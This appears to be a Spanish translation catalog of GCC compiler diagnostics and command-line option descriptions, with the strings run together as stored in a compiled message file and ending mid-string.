%<-fpermissive%>, G++ aceptará su código)(si utiliza %<-fpermissive%>, G++ aceptará su código, pero permitir el uso de un nombre sin declarar es obsoleto)(cerca de la inicialización de %qs)(tal vez intentó %<typename %T::%E%>)(tal vez falta un punto y coma después de la definición de %qT)(tal vez se utilizó incorrectamente la macro %<offsetof%>)(así que debe pasar %qT y no %qT a %<va_arg%>)(el mensaje sólo se muestra una vez por cada fichero de código)
se alcanzó el límite de --param inline-unit-growthse alcanzó el límite de --param large-function-growthse alcanzó el límite de --param large-stack-frame-growthse alcanzó el límite de --param max-inline-insns-autose alcanzó el límite de --param max-inline-insns-single--resource requiere -ose requiere -E ó -x cuando la entrada es de entrada estándarse especificó -I- dos veces-MG sólo se puede usar con -M ó -MM-Werror=%s: No existe la opción -%sse descarta -Wformat-contains-nul sin -Wformatse descarta -Wformat-extra-args sin -Wformatse descarta -Wformat-nonliteral sin -Wformatse descarta -Wformat-security sin -Wformatse descarta -Wformat-y2k sin -Wformatse descarta -Wformat-zero-lenght sin -Wformat-Wframe-larger-than=<número> Avisa si el marco de la pila de una función requiere más de <número> bytes-Xbind-now y -Xbind-lazy son incompatiblesno se permite -bundle con -dynamiclibno se permite -bundle_loader con -dynamiclibse requiere -c o -S para Adano se permite -client_name con -dynamiclibsólo se permite -current_version con -dynamiclib-f%s y -msdata=%s son incompatiblesse descarta -f%s para 68HC11/68HC12 (no se admite)se descarta -f%s para Unicos/Mk (no se admite)se descarta -f%s para el objetivo (todo el código es independiente de posición)no se admite -f%s con instrucciones CONST16no se admite -f%s: descartadono se admite -f%sleading-underscore en este objetivo-fPIC y -G son incompatibles-fPIC y -fpic no se admiten en este objetivo-fPIC y -fpic no se admiten en esta configuración-fPIC y -mcall-%s son incompatiblesno se admite -falign-labels=%dno se admite -falign-loops=%d-fassociative-math desactivado; otras opciones toman precedencia-fblas-matmul-limit=<n>        Tamaño de la matriz más pequeña para la cual matmul usará BLASno se admite -fdata-sections para este objetivo-fdbg-cnt=%s-fdbg-cnt=<contador>:<límite>[,<contador>:<límite>,...] Establece el límite del contador de depuración.-fdirectives-only es incompatible con -Wunused_macros-fdirectives-only es incompatible con -traditional-femit-class-file se debe usar junto con -fsyntax-only-ffunction-sections desactivado; hace imposible el análisis de perfilno se admite -ffunction-sections para este objetivose renombró -fhandle-exceptions a -fexceptions (y ahora está activado por defecto)-findirect-dispatch es incompatible con -freduced-reflection-finit-character=<n> Inicializa las variables de carácter locales al valor ASCII n-finit-integer=<n> Inicializa las variables enteras locales a n-finit-logical=<true|false> Inicializa las variables lógicas locales-finit-real=<zero|nan|inf|-inf> Inicializa las variables reales locales-finstrument-functions-exclude-file-list=fichero,... No instrumenta las funciones enlistadas en ficheros-finstrument-functions-exclude-functions-list=nombre,... No instrumenta las funciones enlistadas-fira-algorithm=CB no funciona en esta arquitectura-fira-algorithm=[CB|priority] Establece el algoritmo IRA a usar-fira-region=[one|all|mixed] Establece las regiones para IRA-fira-verbose=<número> Controla el nivel de mensajes de diagnóstico de IRA-fjni y -femit-class-file son incompatibles-fjni y -femit-class-files son incompatibles-fjni es incompatible con el -freduced-reflection-fmax-array-constructor=<n>        Número máximo de objetos en un constructor de matriz-fno-gnu89-inline sólo se admite en modo GNU99 o C99no se permite -force_flat_namespace con -dynamiclib-fpic y -mapcs-reent son incompatibles-fprefetch-loop-arrays no se admite con -Osno se admite -fprefetch-loop-arrays para este objetivono se admite -fprefetch-loop-arrays para este objetivo (intente los interruptores -march)no se admite -frecord-gcc-switches para este objetivo-freorder-blocks-and-partition no admite información de desenrollo-freorder-blocks-and-partition no funciona en esta arquitectura-freorder-blocks-and-partition no funciona con excepciones-frepo se debe usar con -cno se admite -fstack-protector para este objetivo-g sólo se admite cuando se usa GAS en este procesador,opción -g desactivada-g con -mno-apcs-frame no permite una depuración sensible-imultilib <dir> Define <dir> como el subdirectorio de inclusión de multilibsólo se permite -install_name con -dynamiclibno se permite keep_private_externs con -dynamiclibno se admite -m%s en esta configuraciónno se admite -m64 en esta configuración-m64 requiere la arquitectura PowerPC64, activando-m64 requiere un procesador PowerPC64-maix64 y la arquitectura POWER son incompatiblesse requiere -maix64: aún no se admite el cálculo de 64 bits con direccionamiento de 32 bits-maix64 requiere que la arquitectura PowerPC64 permanezca activadano se admite -malign-power para Darwin de 64-bit; es incompatible con las bibliotecas C y C++ instaladas-mapcs-stack-check es incompatible con -mno-apcs-frameno se puede usar -max-stackframe=%d, no está entre 0 y %dno se admiten -mbackchain -mpacked-stack -mhard-float en combinaciónno se pueden usar juntos -mbig-endian y -mlittle-endianse descarta -mbnu210 (la opción es obsoleta)-mcall-aixdesc debe ser big endian-mcmodel= no se admite en sistemas de 32 bitno se pueden usar juntos -mcorea y -mcoreab-mcorea se debe usar con -mmulticore-mcoreb se debe usar con -mmulticore-mcpu=%s genera conflicto con -march=%s-mcpu=%s tiene una versión de silicio inválida-mcpu=%s no es válido-mdynamic-no-pic anula a -fpic o -fPIC-mfloat-abi=hard y VFPse usaron juntos -mglibc y -muclibc-mhard-dfp no se puede usar en conjunción con -msoft-floatno se admite -mhard-float-mieee no se admite en Unicos/Mk-mieee-with-inexact no se admite en Unicos/Mk-mincoming-stack-boundary=%d no está entre %d y 12no se permite -mlong-double-64 con -m64-mmulticore sólo se puede usar con BF561no se admite -mmultiple en sistemas little endianse usó -mn sin -mh ó -ms-mpcrel -fPIC no se admite actualmente en el cpu seleccionado-mpic-register= es inútil sin -fpic-mrelax sólo se admite pare el PIC de RTP-mrelocatable y -mcall-%s son incompatibles-mrelocatable y -mno-minimal-toc son incompatibles-mrelocatable y -msdata=%s son incompatiblesse usó -ms2600 sin -ms-msdata=%s y -mcall-%s son incompatiblessu ensamblador no admite -msecure-pltse especificó -mshared-library-id= sin -mid-shared-library-mshared-library-id=%s no está entre 0 y %dse descarta la opción -msimple-fpuno se pueden especificar -msingle-float y -msoft-float al mismo tiempola opción -msingle-float es equivalente a -mhard-floatno se pueden usar juntos -msoft-float y -mhard_float-mstack-guard implica el uso de -mstack-sizeno se admite -mstring en sistemas little endianse requiere la opción -munix=98 para las características C89 Enmienda 1.
-pg y -fomit-frame-pointer son incompatiblesno se admite -pipeno se permite -private_bundle con -dynamiclibno se admite -static-libgfortran en esta configuraciónEl operador .NOT. en la expresión en %L debe tener un operando LOGICALlos long double de 128 bits no se admiten para valores de coma flotante VAXABI de 31 bitel conjunto de instrucciones 387 está desactivado, usando la aritmética SSEABI de 64 bitno se admite la ABI de 64-bit en el modo ESA/390no se admite E500 de 64-bit<Durante la inicialización>
<anónimo><interno><línea-de-orden><el índice del conjunto de constantes %d no está en el rango><el índice del conjunto de constantes %d tiene un tipo inesperadoel parámetro de @catch no es un tipo de clase conocido para Objective-CUn factor para ajustar el límite superior que el calendarizador de cambio de módulo utiliza para calendarizar un cicloUn sinónimo para -std=c89 (para C) o -std=c++98 (para C++)Un intervalo en la cuenta promedio de ciclos considerado por el calendarizador de cambio de móduloLa ABSTRACT INTERFACE '%s' no se debe referenciar en %LEl tipo ABSTRACT '%s' se usa en %LLa especificación ACCESS en %L ya se había especificadoSe especificó ALLOCATABLE fuera de un cuerpo INTERFACE en %LNo se permite ALTERNATE RETURN en %Lno se admite el código reentrante APCS.  DescartadoASSERT_EXPR con una condición que es siempre falsaLa declaración de ASSIGN en %L requiere una variable INTEGER escalar por defectoLa declaración ASSIGNED GOTO en %L requiere una variable INTEGEREl especificador ASYNCHRONOUS= en %L debe ser una expresión de inicializaciónse inicializó el puntero AUX para el borde %d->%del argumento de vector AVX sin AVX activado cambia la ABILa interfaz abstracta '%s' es inválida en la asignación de puntero de procedimiento en %LAcepta la definición de macros en el <fich>eroAcepta las extensiones para dar soporte a código de legadoAccede datos en la misma sección que los puntos de anclaje compartidosLa especificación de acceso del operador %s en %C ya se había especificadoLa especificación de acceso del operador .%s. en %C ya se había especificadoEl argumento actual en %L para el dummy INTENT(%s) '%s' de la subrutina ELEMENTAL '%s' es un escalar, pero otro argumento actual es una matrizEl argumento actual en %L debe ser asociado al uso con el atributo PROTECTED y el argumento dummy '%s' es INTENT = OUT/INOUTEl argumento actual en %L debe ser definible mientras el argumento dummy'%s' es INTENT = OUT/INOUTEl argumento actual contiene muy pocos elementos para el argumento dummy '%s' (%lu/%lu) en %LEl argumento actual para '%s' no puede ser una matriz de tamaño asumido en %LEl argumento actual para '%s' debe ser ALLOCATABLE en %LEl argumento actual para '%s' debe ser un puntero en %LAgrega el <dir>ectorio al final de la ruta de inclusión del marco de trabajo principalAgrega el <dir>ectorio al final de la ruta de inclusión principalAgrega el <dir>ectorio al final de la ruta de inclusión de citasAgrega el <dir>ectorio al final de la ruta de inclusión del marco de trabajo del sistemaAgrega el <dir>ectorio al final de la ruta de inclusión del sistemaAgrega el <dir>ectorio al inicio de la ruta de inclusión del sistemaAgrega un objetivo tipo-MAKEEjecuta un paso de eliminación de subexpresión común después de las optimizaciones de ciclosAgrega un objetivo no citadoAgrega comentarios extra a la salida de ensambladorAgrega la instrumentación mudflap de revisión de límites para programas multi-hiloAgrega la instrumentación mudflap de revisión de límites para programas de un solo hiloImpresiones adicionales de depuraciónInformación de depuración reducida agresiva para structsAlias para -mhelp=targetAlias para -femit-class-fileAlias para -mfloat-abi=hardAlias para -mfloat-abi=softAlínea todas las etiquetasAlínea todos los ciclos al límite de 32 byteAlínea código y datos a 32 bitsAlínea el destino de las operaciones de cadenasAlínea doubles en límites de 64-bitAlínea las etiquetas que solamente se alcanzan saltandoAlínea algunos doubles en límites de dwordAlínea el inicio de las funcionesAlínea el inicio de los ciclosAlínea al tipo base del campo de bitAlínea las variables en un límite de 32-bitTodos los componentes de '%s' son PRIVATE en el constructor de estructura en %CTodos los procedimientos intrínsecos están disponibles sin importar el estándar seleccionadoEl allocatable '%s' en %L no puede tener un inicializadorLa matriz allocatable '%s' en %L debe tener una forma diferidaEl componente allocatable en %C debe ser una matrizEl componente allocatable de la estructura en %C debe tener una forma diferidaLa variable alojable '%s' usada como un parámetro para '%s' en %L no debe ser una matriz de tamaño ceroAlmacena las variables locales en la pila para permitir la recursión indirectaPermite que un valor de símbolo se use como un valor inmediato en una instrucción.Permite ancho de línea de carácter arbitrario en formato fijoPermite ancho de línea de carácter arbitrario en formato librePermite que los campos de bits crucen los límites de wordPermite que las ramificaciones se empaquen con otras instruccionesPermite signos de dólar en nombres de entidadesPermite saltos rápidos al despachador de mensajesPermite que las direcciones de las funciones se conservern en registrosPermite que las instrucciones de coma flotante de hardware cubran tanto operaciones de 32-bit como de 64-bitPermite las conversiones implícitas entre vectores con números diferentes de subpartes y/o tipos de elementos diferentes.Permite que las optimizaciones de ciclo asuman que los ciclos se comportan normalmentePermite optimizaciones matemáticas que pueden violar los estándares IEEE ó ISOPermite la optimización para la aritmética de coma flotante la cual puede cambiarPermite la calendarización prematura de insns encoladasPermite el movimiento especulativo de más loadsPermite el movimiento especulativo de insn que no son loadPermite el movimiento especulativo de algunas loadsPermite que los argumentos del operador '?' tengan tipos diferentesPermite el uso de las instrucciones MDMXPermite el uso de las instrucciones MTPermite el uso de la ABI y las instrucciones de coma flotante de hardwarePermite que se ejecuten dos instrucciones por cicloYa está dentro de un bloque CONTAINS en %CLa declaración RETURN alternativa en %C sólo se permite dentro de una SUBROUTINELa declaración RETURN alternativa en %L requiere de un especificador de devolución SCALAR-INTEGERConvención de llamada alternativaNo puede aparecer una devolución alternativa en la interfaz de operador en %LNo se permite el especificador de devolución alternativa en la subrutina elemental '%s' en %LNo se permite el especificador de devolución alternativa en la función '%s' en %LAunque no esté referenciado, '%s' en %L tiene interfaces ambiguasLas instrucciones AltiVec y E500 no pueden coexistirSe pasó un argumento Altivec a una función sin prototipono se admite AltiVec en este objetivoRevisa siempre por archivos de clases no generados por gcjGenera siempre llamadas longTrata siempre a los campos de bit como de tamaño intUsar siempre el Puntero de Argumento Realineado Dinámicamente (DRAP) para realinear la pilaLas interfaces '%s' y '%s' son ambiguas en %s en %LSímbolo ambiguo en la definición TYPE en %CAsocia adecuadamente los mensajes de diagnóstico con la opción de línea de orden que los controlaUna devolución alternativa en %L sin un argumento dummy *Una construcción FORALL externa ya tiene un índice con este nombre %LAnota las instrucciones de ensamblador con direcciones estimadasAgrega un segundo guión bajo si el nombre ya tiene un guión bajoAgrega subrayado a los nombres visibles externamenteAplica signo negativo a valores ceroAplica la expansión de variables cuando se desenrollan los ciclosEl número máximo aproximado de instrucciones a permitir entre una pista y su ramificación [125]El argumento '%s' aparece dos veces en la llamada a '%s' en %LEl argumento '%s' de '%s' con PASS(%s) en %L debe ser del tipo derivado '%s'El argumento '%s' del procedimiento elemental en %L no puede tener el atributo POINTEREl argumento '%s' del procedimiento elemental en %L debe ser escalarEl argumento '%s' de la función pure '%s' en %L debe ser INTENT(IN)El argumento '%s' de la función pure '%s' en %L debe tener especificado su INTENTEl argumento '%s' de la función de declaración en %L debe ser escalarEl argumento '%s' para '%s' en %L debe ser un POINTER escalar asociadoEl argumento NCOPIES del intrínseco REPEAT es negativo en %LEl argumento NCOPIES del intrínseco REPEAT es demasiado grande en %LEl argumento dim en %L debe ser de tipo enteroEl argumento dim en %L debe ser escalarEl argumento de %s en %L no es de un tipo válidoEl argumento %s en %L debe ser de longitud unoEl argumento de la función %s en %L es negativoEl argumento de la función %s en %L es demasiado grande para la secuencia de ordenado de género %dEl argumento de la función %s en %L está fuera de rango [0,127]El argumento de ACOS en %L debe estar entre -1 y 1El argumento ACOSH en %L no debe ser menor a 1El argumento de ASIN en %L debe estar entre -1 y 1El argumento de ATANH en %L debe estar dentro del rango -1 a 1El argumento del procedimiento FINAL en %L debe ser de tipo '%s'El argumento del procedimiento final en %L no debe ser ALLOCATABLEEl argumento del procedimiento FINAL en %L no debe ser INTENT(OUT)El argumento del procedimiento FINAL en %L no debe ser OPTIONALEl argumento del procedimiento FINAL en %L no debe ser un POINTEREl argumento de IACHAR en %L debe ser de longitud unoEl argumento de la función IACHAR en %L está fuera de rango 0..127El argumento de ICHAR en %L debe ser de longitud unoEl argumento de INT en %L no es de un tipo válidoEl argumento de KIND en %L es un tipo DERIVEDEl argumento de LOG en %L no puede ser menor o igual a ceroEl argumento de LOG10 en %L no puede ser menor o igual a ceroEl argumento de la declaración SELECT en %L no puede ser %sEl argumento de la declaración SELECT en %L debe ser una expresión escalarEl argumento de SQRT en %L tiene un valor negativoEl argumento de '%s' en %L no es una variableEl argumento para -ffpe-trap no es válido: %sLos tipos de argumento del intrínseco '%s' en %L deben coincidir (%s/%s)La declaración IF aritmética en %L requiere una expresión numéricaNaN aritmético en %LNaN aritmético al convertir %s a %s en %L. Esta revisión se puede desactivar con la opción -fno-range-checkNaN aritmético del BOZ transferido por bits en %L. Esta revisión se puede desactivar con la opción -fno-range-checkOK aritmético en %LOK aritmético al convertir %s a %s en %LDesbordamiento aritmético en %LDesborde aritmético al convertir %s a %s en %L. Esta revisión se puede desactivar con la opción -fno-range-checkDesborde aritmético del BOZ transferido por bits en %L. Esta revisión se puede desactivar con la opción -fno-range-checkDesbordamiento aritmético por debajo en %LDesborde aritmético por debajo al convertir %s a %s en %L. Esta revisión se puede desactivar con la opción -fno-range-checkDesborde aritmético por debajo del BOZ transferido por bits en %L. Esta revisión se puede desactivar con la opción -fno-range-checkLa matriz '%s' en %L no puede tener una forma diferidaLa matriz '%s' en %L es una variable, lo cual no se reduce a una expresión constanteLa matriz '%s' en %L con límites que no son constantes no puede ser un objeto EQUIVALENCEEl límite de la matriz no coincideEl componente de matriz de la estructura en %C debe tener una forma explícitaEl componente de matriz de la estructura en %C debe tener una forma explícita o diferidaEl tamaño del elemento de la matriz es demasiado grandeEl índice de matriz en %L es una matriz de rango %dEl índice de matriz en %L debe ser de tipo INTEGER, se encontró %sEl índice de matriz en %L debe ser escalarLos operandos de matriz son inconmesurables en %LLos operandos de matriz son inconmesurables al convertir %s a %s en %LLa matriz de puntero '%s' en %L debe tener una forma diferidaLa referencia a matriz en %C no puede tener más de %d dimensionesLa referencia de matriz en %L está fuera de los límites (%ld < %ld) en la dimensión %dLa referencia de matriz en %L está fuera de los límites (%ld > %ld) en la dimensión %dLa referencia a matriz en EQUIVALENCE en %C no puede ser una sección de matrizLa referencia de la matriz está fuera de los límitesUna sección de matriz con un subíndice vector en %L no debe ser el objetivo de un punteroLa especificación de matriz en %C tiene más de %d dimensionesLa especificación de matriz para el símbolo '%s' en COMMON en %C debe ser explícitaLa especificación de matriz se debe diferir en %LSe requiere una especificación de matriz en la declaración ALLOCATE en %LEl argumento actual de sección de matriz en %L es incompatible con el argumento dummy de forma no asumida '%s' debido al atributo VOLATILEEl argumento actual de sección de matriz con subíndices vectoriales en %L es incompatible con el atributo INTENT(IN), INTENT(OUT) o VOLATILE del argumento dummy '%s'Opciones de ensamblador
=======================

Relaciona la <resp>uesta a la <pregunta>.  Al colocar '-' antes de la <pregunta> desactiva la <resp>uesta a la <pregunta>Asignación a una variable PROTECTED en %CAsignar un valor diferente de 0 o 1 a LOGICAL tiene un resultado sin definir en %LLa interfaz de operador de asignación en %L debe ser SUBROUTINELa interfaz de operador de asignación en %L debe tener dos argumentosLa interfaz de operador de asignación en %L no debe redefinir una asignación de tipo INTRINSICAsignación a una variable de índice FORALL en %LAsume GASAsume que los ICPLBs están activos en tiempo de ejecución.Asume un segmento TLS grandeAsume que todos los símbolos tienen valores de 32-bitAsume que todas las funciones de argumentos variables tienen prototiposAsume que los argumentos no pueden ser alias de globales o de cada otroAsume que los argumentos no son alias de otro almacenamientoAsume que los argumentos pueden ser alias de globales pero no de cada otroAsume que bytes son big endian, words son little endianAsume que el código será ensamblado por GASAsume que el código será enlazado por ld de GNUAsume que el código será enlazado por ld de HPAsume que las operaciones de coma flotante pueden atraparAsume que la pila de entrada está alineada a esta potencia de 2Asume que las funciones nativas se implementan usando JNIAsume que no se generan NaNs o infinitosAsume el ambiente normal de ejecución CAsume que la desalineación de double es posibleAsume que las instrucciones pt* no capturaránAsume que el desbordamiento aritmético con signo se envuelveAsume espacio de direcciones smallAsume que se aplican las reglas estrictas de aliasAsume que los símbolos pueden ser inválidosAsume que el CPU destino está configurado como big endianAsume que el CPU destino está configurado como little endianAsume que los stores y loads de coma flotante no pueden causar conflictos al colocarse en un grupo de instrucciónAsume que los receptores de mensajes de Objective-C pueden ser nilAsume que se provee el soporte para tiempo de ejecución, así que omite -lsim en la línea de órdenes del enlazadorAsume que el fichero fuente es de formato fijoAsume que el fichero fuente es de formato libreAsume el ambiente RTP de VxWorksAsume el ambiente vThreads de VxWorksAsume que el tiempo de ejecución usa una tabla hash para mapear un objeto a su estructura de sincronizaciónNo se permite la longitud de carácter asumida '%s' en la lista de nombres '%s' en %CSe asume el carácter de longitud variable '%s' en la expresión constante en %LNo se permite la matriz de forma asumida '%s' en %L en una expresión de inicializaciónLa matriz de forma asumida en %L debe ser un argumento de pruebaNo se permite la matriz de tamaño asumido '%s' en %L en una expresión de inicializaciónMatriz de tamaño asumido '%s' en la cláusula %s en %LMatriz de tamaño asumido '%s' en la cláusula COPYPRIVATE en %LNo se permite la matriz de tamaño asumido '%s' en la lista de nombres '%s' en %CLa matriz de tamaño asumido en %L debe ser un argumento de pruebaEl argumento actual de forma asumida en %L es incompatible con el argumento dummy de forma no asumida '%s' debido al atributo VOLATILELa matriz de forma asumida '%s' en %L no puede ser un argumento para el procedimiento '%s' en %L porque el procedimiento es BIND(C)La matriz de forma asumida '%s' en %L no puede ser un argumento para el procedimiento '%s' porque no es interoperable con CEn el nivel principal:Se intentó DEALLOCATE en '%s' sin alojar.Se intentó asignar una cantidad negativa de memoria.Se intentó asignar una cantidad negativa de memoria. Posible desbordamiento enteroIntenta rellenar las ranuras de retraso de las instrucciones de ramificaciónSe intentó sobreescribir indirectamente los bloques COMMON %s y %s con EQUIVALENCE en %CTrata de mantenter la pila alineada a esta potencia de 2Intenta mezclar constantes idénticas a través de las unidades de compilaciónIntenta mezclar constantes idénticas y variables constantesIntenta mezclar cadenas de depuración idénticas a través de las unidades de compilaciónSe intentó alojar la matriz ya alojada '%s'Se intentó alojar una matriz ya alojadaNo se permite el atributo %L en una definición TYPEPermite el auto pre/post decremento incrementoNo se permite el auto pre/post decremento incrementoLa matriz automática '%s' en %L no puede tener un inicializadorLa función de longitud de carácter automática '%s' en %L debe una interfaz explícitaAlínea automáticamente los objetivos de las ramificaciones para reducir las penas de ramificaciónEvita todos los límites de rango en las instrucciones de llamadasEvita la generación de llamadas relativas al pc; usar indirecciónEvita la generación de instrucciones indizadas load/store cuando sea posibleEvita el traslape en registros de destino y dirección en las instrucciones LDRDEvita cargas especulativas para evitar una anomalía de hardware.el BB %i no puede hacer throw pero tiene bordes EHla última sentencia del BB %i tiene establecida incorrectamente la regiónno se estableció la bandera BB_RTL para el bloque %dSe aplicó BIND(C) a %s %s en %LEl atributo BIND(C) en %C requiere una interfaz con BIND(C)El atributo BIND(C) en %L sólo se puede usar para variables o bloques comunesEl procedimiento BIND(C) con NAME no debe tener atributo POINTER en %CEl elemento BLOCK DATA '%s' en %L debe estar en COMMONEl argumento BOUNDARY en %L de EOSHIFT debe tener rango %d o ser un escalarLa constante BOZ en %L es demasiado grande (%ld vs %ld bits)La literal BOZ en %L se transfiere por bits al símbolo '%s' que no es enteroEl tipo BYTE usado en %C no está disponible en la máquina objetivoEspecificación INTENT errónea en %CTipo base ES erróneo (%d)Dirección errónea, no (reg+disp):Dirección errónea, no register:Objeto de alojamiento erróneo en la declaración ALLOCATE en %C para un procedimiento PUREReferencia de matriz errónea en %LEspecificación de matriz errónea para una matriz formada explícita en %CEspecificación de matriz errónea para una matriz de forma asumida en %CEspecificación de matriz errónea en la declaración ALLOCATE en %LByte codes erróneos.
Carácter '%c' erróneo en el nombre OPERATOR en %CContinuación de línea errónea en %CExpresión de género errónea para la función '%s' en %LGénero erróneo para la constante lógica en %CNombre erróneoOperador erróneoOpción %s errónea para optimizar el atributo.Opción %s errónea para el atributo pragmaObjeto puntero erróneo en el procedimiento PURE en %LEspecificación errónea para la matriz de tamaño asumido en %CEspecificación de matriz errónea para una matriz de forma diferida en %CObjetivo erróneo en la asignación de puntero en el procedimiento PURE en %LTipo erróneo en la expresión constanteEl enlace en %C debe tener el mismo acceso que el enlace '%s' que ya está definidoLos atributos de enlace ya especifican paso, NOPASS ilegal en %CLos atributos de enlace ya especifican paso, PASS ilegal en %CLa etiqueta enlazante '%s' en %L colisiona con la entidad global '%s' en %LLa etiqueta enlazante '%s' en %L colisiona con la entidad global '%s' en %LLa etiqueta enlazante '%s' para el bloque común '%s' en %L colisiona con la entidad global '%s' en %LLa etiqueta enlazante '%s' para el bloque común '%s' en %L colisiona con la entidad global '%s' en %LLa etiqueta enlazante '%s' para el bloque común '%s' en %L no coincide con la etiqueta enlazante '%s' para el bloque común '%s' en %LLa etiqueta enlazante '%s' en el cuerpo de interfaz en %L colisiona con la entidad global '%s' en %LBLOCK DATA en blanco en %C genera un conflicto con un BLOCK DATA previo en %LDeclaración SAVE incondicional en %C después de una declaración SAVE previaLa etiqueta de bloque no es apropiada para la declaración IF en %CLa etiqueta de bloque no es apropiada para la declaración IF aritmética en %CNombre del tablero [y región de memoria].Límite en el número de candidatos bajo el cual todos los candidatos se consideran en optimizaciones ivLímite en el número de usos de iv en ciclos optimizados en optimizaciones ivLímite en el número de revisiones de tiempo de ejecución insertadas por las versiones de ciclo del vectorizador para revisión de aliasLímite en el número de revisiones de tiempo de ejecución insertadas por las versiones de ciclo del vectorizador para revisión de alineaciónLímite en el tamaño de expresiones usadas en el analizador escalar de evolucionesLímite en el costo de una expresión para computar el número de iteracionesLímite en el número de igualdades en sistemas de restricción OmegaLímite en el número de inequidades en sistemas de restricción OmegaLímite en el número de iteraciones que evalúa el algoritmo de análisis de # de iteraciones de fuerza brutaLímite en el número de llaves en sistemas de restricció OmegaLímite en el número de variables en sistemas de restricción OmegaLímite en el número de comodines en sistemas de restricción OmegaLímite en el tamaño de la tabla de dispersión en sistemas de restricción OmegaLa ramificación en %L puede resultar en un ciclo infinitoLas ramificaciones son así de caras (1-5, unidades arbitrarias)Ramificaciones ejecutadas:%s de %d
Construye par el Core AConstruye para el Core BConstruye para SDRAMEl argumento por valor en %L no puede ser una matriz o una sección de matrizEl argumento por valor en %L no se permite en este contextoEl argumento por valor en %L no es de tipo numéricoLa variable dummy de carácter interoperable con C '%s' en %L con atributo VALUE debe ser de longitud unoEl parámetro de tipo de género C es para el tipo %s, pero el tipo en %L es %slos constructores y destructores de C++ no se invocan para campos Objective-CLa etiqueta CASE en %L se encima con la etiqueta CASE en %LEl argumento CHARACTER '%s' para '%s' en %L debe ser de longitud 1Se trunca la expresión CHARACTER en %L (%d/%d)Se truncará la expresión CHARACTER en la asignación (%d/%d) en %LLa variable CHARACTER es de longitud cero en %LLa función CHARACTER(*) '%s' en %L no puede ser matriz-valuadaLa función CHARACTER(*) '%s' en %L no puede ser puntero-valuadaLa función CHARACTER(*) '%s' en %L no puede ser puraLa función CHARACTER(*) '%s' en %L no puede ser recursivaLa función CHARACTER(*) '%s' en %L es obsoleta en fortran 95No se permite una declaración CLOSE en el procedimiento PURE en %CEl argumento de la cláusula COLLAPSE no es un entero positivo constante en %CEl COMMON '%s' en %L no existeEl COMMON '%s' en %L requiere %d bytes de relleno al inicio; reordene los elementos o use -fno-align-commonsEl COMMON en %L requiere %d bytes de relleno al inicio; reordene los elementos o use -fno-align-commonsEl bloque COMMON '%s' en %L también es un procedimiento intrínsecoEl bloque COMMON '%s' en %L se usa como PARAMETER en %LNo se encontró el bloque COMMON /%s/ en %CLas cantidades COMPLEX no se pueden comparar en %LLa declaración CONTAINS en %C ya está contenida en una unidad de programaEl objeto de la cláusula COPYIN '%s' en %L tiene componente ALLOCATABLEEl objeto de la cláusula COPYPRIVATE '%s' en %L tiene componentes ALLOCATABLElos nombres de CPU debe estar en minúsculasel CPU que seleccionó no admite el conjunto de instrucciones x86-64falló la aserción del transporte CRIS: Llama a una rutina de biblioteca para hacer divisiones enterasLlama a mcount para análisis de perfil antes del prólogo de una funciónSe llama a %qD con el atributo sseregparm sin activar SSE/SSE2Se llama a %qT con el atributo sseregparm sin activar SSE/SSE2Llamadas ejecutadas:%s de %d
No se encuentra un par: contador:valor válido¡No se puede hacer USE del mismo módulo que estamos construyendo!No se puede construir el tipo ABSTRACT '%s' en %CNo se puede convertir %s a %s en %LNo se puede borrar el fichero de módulo '%s': %sNo se puede borrar el fichero de módulo temporal '%s': %sNo se puede encontrar un módulo intrínseco llamado '%s' en %CNo se puede encontrar la palabra clave nombrada '%s' en la llamada a '%s' en %LNo se puede abrir el fichero '%s'No se puede abrir el fichero de módulo '%s' para lectura en %C: %sNo se puede abrir el fichero de módulo '%s' para escritura en %C: %sNo se puede sobreescribir el GENERIC '%s' en %LNo se puede renombrar el fichero de módulo '%s' a '%s': %sNo se pueden usar múltiples métodos de revisión de la pila juntos.No se puede IMPORTar '%s' desde la unidad de ámbito del anfitrión en %C - no existe.No se puede alojar la variable INTENT(IN) '%s' en %LNo se puede asignar a la variable INTENT(IN) '%s' en %LNo se puede asignar a una constante nombrada en %CNo se puede asignar a una variable de ciclo en el procedimiento PURE en %LNo se puede asignar a la variable '%s' en el procedimiento PURE en %LNo se pueden cambiar los atributos del símbolo asociado con USE %s en %LNo se pueden cambiar los atributos de un símbolo asociado con USE en %LNo se puede desalojar la variable INTENT(IN) '%s' en %LNo se puede abrir '%s' para la salida.
No se puede leer la variable '%s' en el procedimiento PURE en %CNo se puede especificar IMPLICIT en %C después de IMPLICIT NONENo se puede escribir a la unidad de fichero interna '%s' en %C dentro de un procedimiento PURECausa que gas muestre estadísticas de tomcatCambia sólo los 8 bits bajos del puntero de pilaCambia la ABI para permitir instrucciones double wordCambia la cantidad de vista hacia adelante del calendarizadorCambia la longitud máxima de las secuencias ejecutadas condicionalmenteCambia el número de registros temporales disponibles para secuencias ejecutadas condicionalmenteCambia el puntero de la pila sin desactivar las interrupcionesCambia cuando se emiten las instancias de la plantillaCambia la visibilidad para coincidir con Microsoft Visual Studio por defectoEl carácter '%s' en la cadena en %C no es representable en el género de carácter %dEl carácter '%s' en la cadena en %L no se puede convertir al género de carácter %dEl argumento de carácter '%s' en %L debe ser de longitud 1 porque el procedimiento '%s' es BIND(C)La variable dummy de carácter '%s' en %L con atributo VALUE debe tener longitud constanteNo coincide la longitud de carácter (%ld/%ld) entre el argumento actual y el argumento dummy de forma asumida '%s' en %LNo coincide la longitud de carácter (%ld/%ld) entre el argumento actual y el argumento dummy puntero o alojable '%s' en %LLa longitud del carácter del argumento actual es más corta que la del argumento dummy '%s' (%lu/%lu) en %LLa longitud de carácter del componente '%s' necesita ser una expresión de especificación constante en %LEl argumento con valor de carácter '%s' de la función de declaración en %L debe tener longitud constanteLa función interna valuada con carácter '%s' en %L no debe tener longitud asumidaLa función de declaración valuada con carácter '%s' en %L debe tener longitud constanteBusca errores de sintaxis, y terminaRevisa el valor de devolución de newEscoge la codificación de entrada (por defecto viene del local)Escoge la estrategia para generar stringop usingCirrus: Coloca NOPs para evitar combinaciones inválidas de instruccionesTamaño del código: small, medium o largeEl miembro de bloque común '%s' en %L no puede ser un objeto EQUIVALENCE en el procedimiento puro '%s'Compara los resultados de varios analizadores de dependencia de datos.Compila código para el CPU de variante ARCCompila código para variantes M16CCompila código para variantes M32CCompila código para variantes M32CMCompila código para variantes R8CCompila para punteros de 32-bitCompila para punteros de 64-bitCompila para ETRAX 100 (CRIS v8)Compila para ETRAX 4 (CRIS v3)Compila para el ABI V8+Compila para un 68HC11Compila para un 68HC12Compila para un 68HCS12Compila para el Thumb on para el ARMCompila para el m32rCompila para el m32r2Compila para el m32rxCompila para el procesador v850Compila para el procesador v850eCompila para 